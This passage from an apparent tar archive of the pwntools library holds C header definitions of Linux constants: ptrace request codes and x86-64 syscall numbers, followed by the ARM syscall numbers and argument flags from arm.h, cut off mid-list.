POSIX_MADV_DONTNEED 0x4 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define SYS_accept 43 #define SYS_accept4 288 #define SYS_access 21 #define SYS_acct 163 #define SYS_add_key 248 #define SYS_adjtimex 159 #define SYS_afs_syscall 183 #define SYS_alarm 37 #define SYS_arch_prctl 158 #define SYS_bind 49 #define SYS_bpf 321 #define SYS_brk 12 #define SYS_capget 125 #define SYS_capset 126 #define SYS_chdir 80 #define SYS_chmod 90 #define SYS_chown 92 #define SYS_chroot 161 #define SYS_clock_adjtime 305 #define SYS_clock_getres 229 #define SYS_clock_gettime 228 #define SYS_clock_nanosleep 230 #define SYS_clock_settime 227 #define SYS_clone 56 #define SYS_clone3 435 #define SYS_close 3 #define SYS_connect 42 #define SYS_copy_file_range 326 #define SYS_creat 85 #define SYS_create_module 174 #define SYS_delete_module 176 #define SYS_dup 32 #define SYS_dup2 33 #define SYS_dup3 292 #define SYS_epoll_create 213 #define SYS_epoll_create1 291 #define SYS_epoll_ctl 233 #define SYS_epoll_ctl_old 214 #define SYS_epoll_pwait 281 #define SYS_epoll_wait 232 #define SYS_epoll_wait_old 215 #define SYS_eventfd 284 #define SYS_eventfd2 290 #define SYS_execve 59 #define SYS_execveat 322 #define SYS_exit 60 #define SYS_exit_group 231 #define SYS_faccessat 269 #define SYS_fadvise64 221 #define SYS_fallocate 285 #define SYS_fanotify_init 300 #define SYS_fanotify_mark 301 #define SYS_fchdir 81 #define SYS_fchmod 91 #define SYS_fchmodat 268 #define SYS_fchown 93 #define SYS_fchownat 260 #define SYS_fcntl 72 #define SYS_fdatasync 75 #define SYS_fgetxattr 193 #define SYS_finit_module 313 #define SYS_flistxattr 196 #define SYS_flock 73 #define SYS_fork 57 #define SYS_fremovexattr 199 #define SYS_fsconfig 431 #define SYS_fsetxattr 190 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 5 #define SYS_fstatfs 138 #define SYS_fsync 74 #define SYS_ftruncate 77 #define SYS_futex 202 #define SYS_futimesat 261 #define SYS_getcpu 309 #define SYS_getcwd 79 #define SYS_getdents 78 #define SYS_getdents64 217 #define SYS_getegid 108 #define SYS_geteuid 107 #define SYS_getgid 104 #define SYS_getgroups 115 #define SYS_getitimer 36 #define SYS_get_kernel_syms 177 #define SYS_get_mempolicy 239 #define SYS_getpeername 52 #define SYS_getpgid 121 #define SYS_getpgrp 111 #define SYS_getpid 39 #define SYS_getpmsg 181 #define SYS_getppid 110 #define SYS_getpriority 140 #define SYS_getrandom 318 #define SYS_getresgid 120 #define SYS_getresuid 118 #define SYS_getrlimit 97 #define SYS_get_robust_list 274 #define SYS_getrusage 98 #define SYS_getsid 124 #define SYS_getsockname 51 #define SYS_getsockopt 55 #define SYS_get_thread_area 211 #define SYS_gettid 186 #define SYS_gettimeofday 96 #define SYS_getuid 102 #define SYS_getxattr 191 #define SYS_init_module 175 #define SYS_inotify_add_watch 254 #define SYS_inotify_init 253 #define SYS_inotify_init1 294 #define SYS_inotify_rm_watch 255 #define SYS_io_cancel 210 #define SYS_ioctl 16 #define SYS_io_destroy 207 #define SYS_io_getevents 208 #define SYS_ioperm 173 #define SYS_io_pgetevents 333 #define SYS_iopl 172 #define SYS_ioprio_get 252 #define SYS_ioprio_set 251 #define SYS_io_setup 206 #define SYS_io_submit 209 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_kcmp 312 #define SYS_kexec_file_load 320 #define SYS_kexec_load 246 #define SYS_keyctl 250 #define SYS_kill 62 #define SYS_lchown 94 #define SYS_lgetxattr 192 #define SYS_link 86 #define SYS_linkat 265 #define SYS_listen 50 #define SYS_listxattr 194 #define SYS_llistxattr 195 #define SYS_lookup_dcookie 212 #define SYS_lremovexattr 198 #define SYS_lseek 8 #define SYS_lsetxattr 189 #define SYS_lstat 6 #define SYS_madvise 28 #define SYS_mbind 237 #define SYS_membarrier 324 #define SYS_memfd_create 319 #define SYS_migrate_pages 256 #define SYS_mincore 27 #define SYS_mkdir 83 #define SYS_mkdirat 258 #define SYS_mknod 133 #define SYS_mknodat 259 #define SYS_mlock 149 #define SYS_mlock2 325 #define SYS_mlockall 151 #define SYS_mmap 9 #define SYS_modify_ldt 154 #define SYS_mount 165 #define SYS_move_mount 429 #define SYS_move_pages 279 #define SYS_mprotect 10 #define SYS_mq_getsetattr 245 #define SYS_mq_notify 244 #define SYS_mq_open 240 #define SYS_mq_timedreceive 243 #define SYS_mq_timedsend 242 #define SYS_mq_unlink 241 #define SYS_mremap 25 #define SYS_msgctl 71 #define SYS_msgget 68 #define SYS_msgrcv 70 #define SYS_msgsnd 69 #define SYS_msync 26 #define SYS_munlock 150 #define SYS_munlockall 152 #define SYS_munmap 11 #define SYS_name_to_handle_at 303 #define SYS_nanosleep 35 #define SYS_newfstatat 262 #define SYS_nfsservctl 180 #define SYS_open 2 #define SYS_openat 257 #define SYS_openat2 437 #define SYS_open_by_handle_at 304 #define SYS_open_tree 428 #define SYS_pause 34 #define SYS_perf_event_open 298 #define SYS_personality 135 #define SYS_pidfd_getfd 438 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe 22 #define SYS_pipe2 293 #define SYS_pivot_root 155 #define SYS_pkey_alloc 330 #define SYS_pkey_free 331 #define SYS_pkey_mprotect 329 #define SYS_poll 7 #define SYS_ppoll 271 #define SYS_prctl 157 #define SYS_pread 17 #define SYS_preadv 295 #define SYS_preadv2 327 #define SYS_prlimit64 302 #define SYS_process_vm_readv 310 #define SYS_process_vm_writev 311 #define SYS_pselect6 270 #define SYS_ptrace 101 #define SYS_putpmsg 182 #define SYS_pwrite 18 #define SYS_pwritev 296 #define SYS_pwritev2 328 #define SYS_query_module 178 #define SYS_quotactl 179 #define SYS_read 0 #define SYS_readahead 187 #define SYS_readlink 89 #define SYS_readlinkat 267 #define SYS_readv 19 #define SYS_reboot 169 #define SYS_recvfrom 45 #define SYS_recvmmsg 299 #define SYS_recvmsg 47 #define SYS_remap_file_pages 216 #define SYS_removexattr 197 #define SYS_rename 82 #define SYS_renameat 264 #define SYS_renameat2 316 #define SYS_request_key 249 #define SYS_restart_syscall 219 #define SYS_rmdir 84 #define SYS_rseq 334 #define SYS_rt_sigaction 13 #define SYS_rt_sigpending 127 #define SYS_rt_sigprocmask 14 #define SYS_rt_sigqueueinfo 129 #define SYS_rt_sigreturn 15 #define SYS_rt_sigsuspend 130 #define SYS_rt_sigtimedwait 128 #define SYS_rt_tgsigqueueinfo 297 #define SYS_sched_getaffinity 204 #define SYS_sched_getattr 315 #define SYS_sched_getparam 143 #define SYS_sched_get_priority_max 146 #define SYS_sched_get_priority_min 147 #define SYS_sched_getscheduler 145 #define SYS_sched_rr_get_interval 148 #define SYS_sched_setaffinity 203 #define SYS_sched_setattr 314 #define SYS_sched_setparam 142 #define SYS_sched_setscheduler 144 #define SYS_sched_yield 24 #define SYS_seccomp 317 #define SYS_security 185 #define SYS_select 23 #define SYS_semctl 66 #define SYS_semget 64 #define SYS_semop 65 #define SYS_semtimedop 220 #define SYS_sendfile 40 #define SYS_sendmmsg 307 #define SYS_sendmsg 46 #define SYS_sendto 44 #define SYS_setdomainname 171 #define SYS_setfsgid 123 #define SYS_setfsuid 122 #define SYS_setgid 106 #define SYS_setgroups 116 #define SYS_sethostname 170 #define SYS_setitimer 38 #define SYS_set_mempolicy 238 #define SYS_setns 308 #define SYS_setpgid 109 #define SYS_setpriority 141 #define SYS_setregid 114 #define SYS_setresgid 119 #define SYS_setresuid 117 #define SYS_setreuid 113 #define SYS_setrlimit 160 #define SYS_set_robust_list 273 #define SYS_setsid 112 #define SYS_setsockopt 54 #define SYS_set_thread_area 205 #define SYS_set_tid_address 218 #define SYS_settimeofday 164 #define SYS_setuid 105 #define SYS_setxattr 188 #define SYS_shmat 30 #define SYS_shmctl 31 #define SYS_shmdt 67 #define SYS_shmget 29 #define SYS_shutdown 48 #define SYS_sigaltstack 131 #define SYS_signalfd 282 #define SYS_signalfd4 289 #define SYS_socket 41 #define SYS_socketpair 53 #define SYS_splice 275 #define SYS_stat 4 #define SYS_statfs 137 #define SYS_statx 332 #define SYS_swapoff 168 #define SYS_swapon 167 #define SYS_symlink 88 #define SYS_symlinkat 266 #define SYS_sync 162 #define SYS_sync_file_range 277 #define SYS_syncfs 306 #define SYS__sysctl 156 #define SYS_sysfs 139 #define SYS_sysinfo 99 #define SYS_syslog 103 #define SYS_tee 276 #define SYS_tgkill 234 #define SYS_time 201 #define SYS_timer_create 222 #define SYS_timer_delete 226 #define SYS_timerfd 283 #define SYS_timerfd_gettime 287 #define SYS_timerfd_settime 286 #define SYS_timer_getoverrun 225 #define SYS_timer_gettime 224 #define SYS_timer_settime 223 #define SYS_times 100 #define SYS_tkill 200 #define SYS_truncate 76 #define SYS_tuxcall 184 #define SYS_umask 95 #define SYS_umount2 166 #define SYS_uname 63 #define SYS_unlink 87 #define SYS_unlinkat 263 #define SYS_unshare 272 #define SYS_uselib 134 #define SYS_userfaultfd 323 #define SYS_ustat 136 #define SYS_utime 132 #define SYS_utimensat 280 #define SYS_utimes 235 #define SYS_vfork 58 #define SYS_vhangup 153 #define SYS_vmsplice 278 #define SYS_vserver 236 #define SYS_wait4 61 #define SYS_waitid 247 #define SYS_write 1 #define SYS_writev 20 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/arm.h000066400000000000000000001522601507273764500243110ustar00rootroot00000000000000#define __ARM_EABI__ 1 #define __KERNEL__ 1 #define _ARM_SYSCALL_H 1 #define __NR_OABI_SYSCALL_BASE 0x900000 #define __NR_SYSCALL_BASE 0 #define __NR_restart_syscall (0+ 0) #define __NR_exit (0+ 1) #define __NR_fork (0+ 2) #define __NR_read (0+ 3) #define __NR_write (0+ 4) #define __NR_open (0+ 5) #define __NR_close (0+ 6) #define __NR_creat (0+ 8) #define __NR_link (0+ 9) #define __NR_unlink (0+ 10) #define __NR_execve (0+ 11) #define __NR_chdir (0+ 12) #define __NR_time (0+ 13) #define __NR_mknod (0+ 14) #define __NR_chmod (0+ 15) #define __NR_lchown (0+ 16) #define __NR_lseek (0+ 19) #define __NR_getpid (0+ 20) #define __NR_mount (0+ 21) #define __NR_umount (0+ 22) #define __NR_setuid (0+ 23) #define __NR_getuid (0+ 24) #define __NR_stime (0+ 25) #define __NR_ptrace (0+ 26) #define __NR_alarm (0+ 27) #define __NR_pause (0+ 29) #define __NR_utime (0+ 30) #define __NR_access (0+ 33) #define __NR_nice (0+ 34) #define __NR_sync (0+ 36) #define __NR_kill (0+ 37) #define __NR_rename (0+ 38) #define __NR_mkdir (0+ 39) #define __NR_rmdir (0+ 40) #define __NR_dup (0+ 41) #define __NR_pipe (0+ 42) #define __NR_times (0+ 43) #define __NR_brk (0+ 45) #define __NR_setgid (0+ 46) #define __NR_getgid (0+ 47) #define __NR_geteuid (0+ 49) #define __NR_getegid (0+ 50) #define __NR_acct (0+ 51) #define __NR_umount2 (0+ 52) #define __NR_ioctl (0+ 54) #define __NR_fcntl (0+ 55) #define __NR_setpgid (0+ 57) #define __NR_umask (0+ 60) #define __NR_chroot (0+ 61) #define __NR_ustat (0+ 62) #define __NR_dup2 (0+ 63) #define __NR_getppid (0+ 64) #define __NR_getpgrp (0+ 65) #define __NR_setsid (0+ 66) #define __NR_sigaction (0+ 67) #define __NR_setreuid (0+ 70) #define __NR_setregid (0+ 71) #define __NR_sigsuspend (0+ 72) #define __NR_sigpending (0+ 73) #define __NR_sethostname (0+ 74) #define __NR_setrlimit (0+ 75) #define __NR_getrlimit (0+ 76) #define __NR_getrusage (0+ 77) #define __NR_gettimeofday (0+ 78) #define __NR_settimeofday (0+ 79) #define __NR_getgroups (0+ 80) #define __NR_setgroups (0+ 81) #define __NR_select (0+ 82) #define __NR_symlink (0+ 83) #define __NR_readlink (0+ 85) #define __NR_uselib (0+ 86) #define __NR_swapon (0+ 87) #define __NR_reboot (0+ 88) #define __NR_readdir (0+ 89) #define __NR_mmap (0+ 90) #define __NR_munmap (0+ 91) #define __NR_truncate (0+ 92) #define __NR_ftruncate (0+ 93) #define __NR_fchmod (0+ 94) #define __NR_fchown (0+ 95) #define __NR_getpriority (0+ 96) #define __NR_setpriority (0+ 97) #define __NR_statfs (0+ 99) #define __NR_fstatfs (0+100) #define __NR_socketcall (0+102) #define __NR_syslog (0+103) #define __NR_setitimer (0+104) #define __NR_getitimer (0+105) #define __NR_stat (0+106) #define __NR_lstat (0+107) #define __NR_fstat (0+108) #define __NR_vhangup (0+111) #define __NR_syscall (0+113) #define __NR_wait4 (0+114) #define __NR_swapoff (0+115) #define __NR_sysinfo (0+116) #define __NR_ipc (0+117) #define __NR_fsync (0+118) #define __NR_sigreturn (0+119) #define __NR_clone (0+120) #define __NR_setdomainname (0+121) #define __NR_uname (0+122) #define __NR_adjtimex (0+124) #define __NR_mprotect (0+125) #define __NR_sigprocmask (0+126) #define __NR_init_module (0+128) #define __NR_delete_module (0+129) #define __NR_quotactl (0+131) #define __NR_getpgid (0+132) #define __NR_fchdir (0+133) #define __NR_bdflush (0+134) #define __NR_sysfs (0+135) #define __NR_personality (0+136) #define __NR_setfsuid (0+138) #define __NR_setfsgid (0+139) #define __NR__llseek (0+140) #define __NR_getdents (0+141) #define __NR__newselect (0+142) #define __NR_flock (0+143) #define __NR_msync (0+144) #define __NR_readv (0+145) #define __NR_writev (0+146) #define __NR_getsid (0+147) #define __NR_fdatasync (0+148) #define __NR__sysctl (0+149) #define __NR_mlock (0+150) #define __NR_munlock (0+151) #define __NR_mlockall (0+152) #define __NR_munlockall (0+153) #define __NR_sched_setparam (0+154) #define __NR_sched_getparam (0+155) #define __NR_sched_setscheduler (0+156) #define __NR_sched_getscheduler (0+157) #define __NR_sched_yield (0+158) #define __NR_sched_get_priority_max (0+159) #define __NR_sched_get_priority_min (0+160) #define __NR_sched_rr_get_interval (0+161) #define __NR_nanosleep (0+162) #define __NR_mremap (0+163) #define __NR_setresuid (0+164) #define __NR_getresuid (0+165) #define __NR_poll (0+168) #define __NR_nfsservctl (0+169) #define __NR_setresgid (0+170) #define __NR_getresgid (0+171) #define __NR_prctl (0+172) #define __NR_rt_sigreturn (0+173) #define __NR_rt_sigaction (0+174) #define __NR_rt_sigprocmask (0+175) #define __NR_rt_sigpending (0+176) #define __NR_rt_sigtimedwait (0+177) #define __NR_rt_sigqueueinfo (0+178) #define __NR_rt_sigsuspend (0+179) #define __NR_pread64 (0+180) #define __NR_pwrite64 (0+181) #define __NR_chown (0+182) #define __NR_getcwd (0+183) #define __NR_capget (0+184) #define __NR_capset (0+185) #define __NR_sigaltstack (0+186) #define __NR_sendfile (0+187) #define __NR_vfork (0+190) #define __NR_ugetrlimit (0+191) #define __NR_mmap2 (0+192) #define __NR_truncate64 (0+193) #define __NR_ftruncate64 (0+194) #define __NR_stat64 (0+195) #define __NR_lstat64 (0+196) #define __NR_fstat64 (0+197) #define __NR_lchown32 (0+198) #define __NR_getuid32 (0+199) #define __NR_getgid32 (0+200) #define __NR_geteuid32 (0+201) #define __NR_getegid32 (0+202) #define __NR_setreuid32 (0+203) #define __NR_setregid32 (0+204) #define __NR_getgroups32 (0+205) #define __NR_setgroups32 (0+206) #define __NR_fchown32 (0+207) #define __NR_setresuid32 (0+208) #define __NR_getresuid32 (0+209) #define __NR_setresgid32 (0+210) #define __NR_getresgid32 (0+211) #define __NR_chown32 (0+212) #define __NR_setuid32 (0+213) #define __NR_setgid32 (0+214) #define __NR_setfsuid32 (0+215) #define __NR_setfsgid32 (0+216) #define __NR_getdents64 (0+217) #define __NR_pivot_root (0+218) #define __NR_mincore (0+219) #define __NR_madvise (0+220) #define __NR_fcntl64 (0+221) #define __NR_gettid (0+224) #define __NR_readahead (0+225) #define __NR_setxattr (0+226) #define __NR_lsetxattr (0+227) #define __NR_fsetxattr (0+228) #define __NR_getxattr (0+229) #define __NR_lgetxattr (0+230) #define __NR_fgetxattr (0+231) #define __NR_listxattr (0+232) #define __NR_llistxattr (0+233) #define __NR_flistxattr (0+234) #define __NR_removexattr (0+235) #define __NR_lremovexattr (0+236) #define __NR_fremovexattr (0+237) #define __NR_tkill (0+238) #define __NR_sendfile64 (0+239) #define __NR_futex (0+240) #define __NR_sched_setaffinity (0+241) #define __NR_sched_getaffinity (0+242) #define __NR_io_setup (0+243) #define __NR_io_destroy (0+244) #define __NR_io_getevents (0+245) #define __NR_io_submit (0+246) #define __NR_io_cancel (0+247) #define __NR_exit_group (0+248) #define __NR_lookup_dcookie (0+249) #define __NR_epoll_create (0+250) #define __NR_epoll_ctl (0+251) #define __NR_epoll_wait (0+252) #define __NR_remap_file_pages (0+253) #define __NR_set_tid_address (0+256) #define __NR_timer_create (0+257) #define __NR_timer_settime (0+258) #define __NR_timer_gettime (0+259) #define __NR_timer_getoverrun (0+260) #define __NR_timer_delete (0+261) #define __NR_clock_settime (0+262) #define __NR_clock_gettime (0+263) #define __NR_clock_getres (0+264) #define __NR_clock_nanosleep (0+265) #define __NR_statfs64 (0+266) #define __NR_fstatfs64 (0+267) #define __NR_tgkill (0+268) #define __NR_utimes (0+269) #define __NR_arm_fadvise64_64 (0+270) #define __NR_pciconfig_iobase (0+271) #define __NR_pciconfig_read (0+272) #define __NR_pciconfig_write (0+273) #define __NR_mq_open (0+274) #define __NR_mq_unlink (0+275) #define __NR_mq_timedsend (0+276) #define __NR_mq_timedreceive (0+277) #define __NR_mq_notify (0+278) #define __NR_mq_getsetattr (0+279) #define __NR_waitid (0+280) #define __NR_socket (0+281) #define __NR_bind (0+282) #define __NR_connect (0+283) #define __NR_listen (0+284) #define __NR_accept (0+285) #define __NR_getsockname (0+286) #define __NR_getpeername (0+287) #define __NR_socketpair (0+288) #define __NR_send (0+289) #define __NR_sendto (0+290) #define __NR_recv (0+291) #define __NR_recvfrom (0+292) #define __NR_shutdown (0+293) #define __NR_setsockopt (0+294) #define __NR_getsockopt (0+295) #define __NR_sendmsg (0+296) #define __NR_recvmsg (0+297) #define __NR_semop (0+298) #define __NR_semget (0+299) #define __NR_semctl (0+300) #define __NR_msgsnd (0+301) #define __NR_msgrcv (0+302) #define __NR_msgget (0+303) #define __NR_msgctl (0+304) #define __NR_shmat (0+305) #define __NR_shmdt (0+306) #define __NR_shmget (0+307) #define __NR_shmctl (0+308) #define __NR_add_key (0+309) #define __NR_request_key (0+310) #define __NR_keyctl (0+311) #define __NR_semtimedop (0+312) #define __NR_vserver (0+313) #define __NR_ioprio_set (0+314) #define __NR_ioprio_get (0+315) #define __NR_inotify_init (0+316) #define __NR_inotify_add_watch (0+317) #define __NR_inotify_rm_watch (0+318) #define __NR_mbind (0+319) #define __NR_get_mempolicy (0+320) #define __NR_set_mempolicy (0+321) #define __NR_openat (0+322) #define __NR_mkdirat (0+323) #define __NR_mknodat (0+324) #define __NR_fchownat (0+325) #define __NR_futimesat (0+326) #define __NR_fstatat64 (0+327) #define __NR_unlinkat (0+328) #define __NR_renameat (0+329) #define __NR_linkat (0+330) #define __NR_symlinkat (0+331) #define __NR_readlinkat (0+332) #define __NR_fchmodat (0+333) #define __NR_faccessat (0+334) #define __NR_unshare (0+337) #define __NR_set_robust_list (0+338) #define __NR_get_robust_list (0+339) #define __NR_splice (0+340) #define __NR_arm_sync_file_range (0+341) #define __NR_tee (0+342) #define __NR_vmsplice (0+343) #define __NR_move_pages (0+344) #define __NR_getcpu (0+345) #define __NR_kexec_load (0+347) #define __NR_utimensat (0+348) #define __NR_signalfd (0+349) #define __NR_timerfd (0+350) #define __NR_eventfd (0+351) #define __NR_fallocate (0+352) #define __NR_timerfd_settime (0+353) #define __NR_timerfd_gettime (0+354) #define __NR_signalfd4 (0+355) #define __NR_eventfd2 (0+356) #define __NR_epoll_create1 (0+357) #define __NR_dup3 (0+358) #define __NR_pipe2 (0+359) #define __NR_inotify_init1 (0+360) #define __NR_preadv (0+361) #define __NR_pwritev (0+362) #define __NR_rt_tgsigqueueinfo (0+363) #define __NR_perf_event_open (0+364) #define __NR_recvmmsg (0+365) #define __NR_accept4 (0+366) #define __NR_fanotify_init (0+367) #define __NR_fanotify_mark (0+368) #define __NR_prlimit64 (0+369) #define __NR_name_to_handle_at (0+370) #define __NR_open_by_handle_at (0+371) #define __NR_clock_adjtime (0+372) #define __NR_syncfs (0+373) #define __NR_sendmmsg (0+374) #define __NR_setns (0+375) #define __NR_process_vm_readv (0+376) #define __NR_process_vm_writev (0+377) #define __NR_kcmp (0+378) #define __NR_finit_module (0+379) #define __NR_sched_setattr (0+380) #define __NR_sched_getattr (0+381) #define __NR_renameat2 (0+382) #define __NR_seccomp (0+383) #define __NR_getrandom (0+384) #define __NR_memfd_create (0+385) #define __NR_bpf (0+386) #define __NR_execveat (0+387) #define __NR_userfaultfd (0+388) #define __NR_membarrier (0+389) #define __NR_mlock2 (0+390) #define __NR_copy_file_range (0+391) #define __NR_preadv2 (0+392) #define __NR_pwritev2 (0+393) #define __NR_pkey_mprotect (0 + 394) #define __NR_pkey_alloc (0 + 395) #define __NR_pkey_free (0 + 396) #define __NR_statx (0 + 397) #define __NR_rseq (0 + 398) #define __NR_io_pgetevents (0 + 399) #define __NR_migrate_pages (0 + 400) #define __NR_kexec_file_load (0 + 401) #define __NR_clock_gettime64 (0 + 403) #define __NR_clock_settime64 (0 + 404) #define __NR_clock_adjtime64 (0 + 405) #define __NR_clock_getres_time64 (0 + 406) #define __NR_clock_nanosleep_time64 (0 + 407) #define __NR_timer_gettime64 (0 + 408) #define __NR_timer_settime64 (0 + 409) #define __NR_timerfd_gettime64 (0 + 410) #define __NR_timerfd_settime64 (0 + 411) #define __NR_utimensat_time64 (0 + 412) #define __NR_pselect6_time64 (0 + 413) #define __NR_ppoll_time64 (0 + 414) #define __NR_io_pgetevents_time64 (0 + 416) #define __NR_recvmmsg_time64 (0 + 417) #define __NR_mq_timedsend_time64 (0 + 418) #define __NR_mq_timedreceive_time64 (0 + 419) #define __NR_semtimedop_time64 (0 + 420) #define __NR_rt_sigtimedwait_time64 (0 + 421) #define __NR_futex_time64 (0 + 422) #define __NR_sched_rr_get_interval_time64 (0 + 423) #define __NR_pidfd_send_signal (0 + 424) #define __NR_io_uring_setup (0 + 425) #define __NR_io_uring_enter (0 + 426) #define __NR_io_uring_register (0 + 427) #define __NR_open_tree (0 + 428) #define __NR_move_mount (0 + 429) #define __NR_fsopen (0 + 430) #define __NR_fsconfig (0 + 431) #define __NR_fsmount (0 + 432) #define __NR_fspick (0 + 433) #define __NR_pidfd_open (0 + 434) #define __NR_clone3 (0 + 435) #define __NR_openat2 (0 + 437) #define __NR_pidfd_getfd (0 + 438) #define __ARM_NR_BASE (0+0x0f0000) #define __ARM_NR_breakpoint ((0+0x0f0000)+1) #define __ARM_NR_cacheflush ((0+0x0f0000)+2) #define __ARM_NR_usr26 ((0+0x0f0000)+3) #define __ARM_NR_usr32 ((0+0x0f0000)+4) #define __ARM_NR_set_tls ((0+0x0f0000)+5) #define __ARGS_exit 0 #define __ARGS_fork 0 #define __ARGS_read 0 #define __ARGS_write 0 #define __ARGS_open 0 #define __ARGS_close 0 #define __ARGS_waitpid 0 #define __ARGS_creat 0 #define __ARGS_link 0 #define __ARGS_unlink 0 #define __ARGS_execve 0 #define __ARGS_chdir 0 #define __ARGS_time 0 #define __ARGS_mknod 0 #define __ARGS_chmod 0 #define __ARGS_lchown 0 #define __ARGS_break 0 #define __ARGS_lseek 0 #define __ARGS_getpid 0 #define __ARGS_mount 1 #define __ARGS_umount 0 #define __ARGS_setuid 0 #define __ARGS_getuid 0 #define __ARGS_stime 0 #define __ARGS_ptrace 0 #define __ARGS_alarm 0 #define __ARGS_pause 0 #define __ARGS_utime 0 #define __ARGS_stty 0 #define __ARGS_gtty 0 #define __ARGS_access 0 #define __ARGS_nice 0 #define __ARGS_ftime 0 #define __ARGS_sync 0 #define __ARGS_kill 0 #define __ARGS_rename 0 #define __ARGS_mkdir 0 #define __ARGS_rmdir 0 #define __ARGS_dup 0 #define __ARGS_pipe 0 #define __ARGS_times 0 #define __ARGS_prof 0 #define __ARGS_brk 0 #define __ARGS_setgid 0 #define __ARGS_getgid 0 #define __ARGS_signal 0 #define __ARGS_geteuid 0 #define __ARGS_getegid 0 #define __ARGS_acct 0 #define __ARGS_umount2 0 #define __ARGS_lock 0 #define __ARGS_ioctl 0 #define __ARGS_fcntl 0 #define __ARGS_mpx 0 #define __ARGS_setpgid 0 #define __ARGS_ulimit 0 #define __ARGS_umask 0 #define __ARGS_chroot 0 #define __ARGS_ustat 0 #define __ARGS_dup2 0 #define __ARGS_getppid 0 #define __ARGS_getpgrp 0 #define __ARGS_setsid 0 #define __ARGS_sigaction 0 #define __ARGS_sgetmask 0 #define __ARGS_ssetmask 0 #define __ARGS_setreuid 0 #define __ARGS_setregid 0 #define __ARGS_sigsuspend 0 #define __ARGS_sigpending 0 #define __ARGS_sethostname 0 #define __ARGS_setrlimit 0 #define __ARGS_getrlimit 0 #define __ARGS_getrusage 0 #define __ARGS_gettimeofday 0 #define __ARGS_settimeofday 0 #define __ARGS_getgroups 0 #define __ARGS_setgroups 0 #define __ARGS_select 0 #define __ARGS_symlink 0 #define __ARGS_readlink 0 #define __ARGS_uselib 0 #define __ARGS_swapon 0 #define __ARGS_reboot 0 #define __ARGS_readdir 0 #define __ARGS_mmap 0 #define __ARGS_munmap 0 #define __ARGS_truncate 0 #define __ARGS_ftruncate 0 #define __ARGS_fchmod 0 #define __ARGS_fchown 0 #define __ARGS_getpriority 0 #define __ARGS_setpriority 0 #define __ARGS_profil 0 #define __ARGS_statfs 0 #define __ARGS_fstatfs 0 #define __ARGS_ioperm 0 #define __ARGS_socketcall 0 #define __ARGS_syslog 0 #define __ARGS_setitimer 0 #define __ARGS_getitimer 0 #define __ARGS_stat 0 #define __ARGS_lstat 0 #define __ARGS_fstat 0 #define __ARGS_vhangup 0 #define __ARGS_idle 0 #define __ARGS_syscall 0 #define __ARGS_wait4 0 #define __ARGS_swapoff 0 #define __ARGS_sysinfo 0 #define __ARGS_ipc 1 #define __ARGS_fsync 0 #define __ARGS_sigreturn 0 #define __ARGS_clone 0 #define __ARGS_setdomainname 0 #define __ARGS_uname 0 #define __ARGS_modify_ldt 0 #define __ARGS_adjtimex 0 #define __ARGS_mprotect 0 #define __ARGS_sigprocmask 0 #define __ARGS_create_module 0 #define __ARGS_init_module 0 #define __ARGS_delete_module 0 #define __ARGS_get_kernel_syms 0 #define __ARGS_quotactl 0 #define __ARGS_getpgid 0 #define __ARGS_fchdir 0 #define __ARGS_bdflush 0 #define __ARGS_sysfs 0 #define __ARGS_personality 0 #define __ARGS_afs_syscall 0 #define __ARGS_setfsuid 0 #define __ARGS_setfsgid 0 #define __ARGS__llseek 1 #define __ARGS_getdents 0 #define __ARGS__newselect 1 #define __ARGS_flock 0 #define __ARGS_msync 0 #define __ARGS_readv 0 #define __ARGS_writev 0 #define __ARGS_getsid 0 #define __ARGS_fdatasync 0 #define __ARGS__sysctl 0 #define __ARGS_mlock 0 #define __ARGS_munlock 0 #define __ARGS_mlockall 0 #define __ARGS_munlockall 0 #define __ARGS_sched_setparam 0 #define __ARGS_sched_getparam 0 #define __ARGS_sched_setscheduler 0 #define __ARGS_sched_getscheduler 0 #define __ARGS_sched_yield 0 #define __ARGS_sched_get_priority_max 0 #define __ARGS_sched_get_priority_min 0 #define __ARGS_sched_rr_get_interval 0 #define __ARGS_nanosleep 0 #define __ARGS_mremap 0 #define __ARGS_setresuid 0 #define __ARGS_getresuid 0 #define __ARGS_vm86 0 #define __ARGS_query_module 1 #define __ARGS_poll 0 #define __ARGS_nfsservctl 0 #define __ARGS_setresgid 0 #define __ARGS_getresgid 0 #define __ARGS_prctl 1 #define __ARGS_rt_sigreturn 0 #define __ARGS_rt_sigaction 0 #define __ARGS_rt_sigprocmask 0 #define __ARGS_rt_sigpending 0 #define __ARGS_rt_sigtimedwait 0 #define __ARGS_rt_sigqueueinfo 0 #define __ARGS_rt_sigsuspend 0 #define __ARGS_pread 0 #define __ARGS_pwrite 0 #define __ARGS_pread64 0 #define __ARGS_pwrite64 0 #define __ARGS_chown 0 #define __ARGS_getcwd 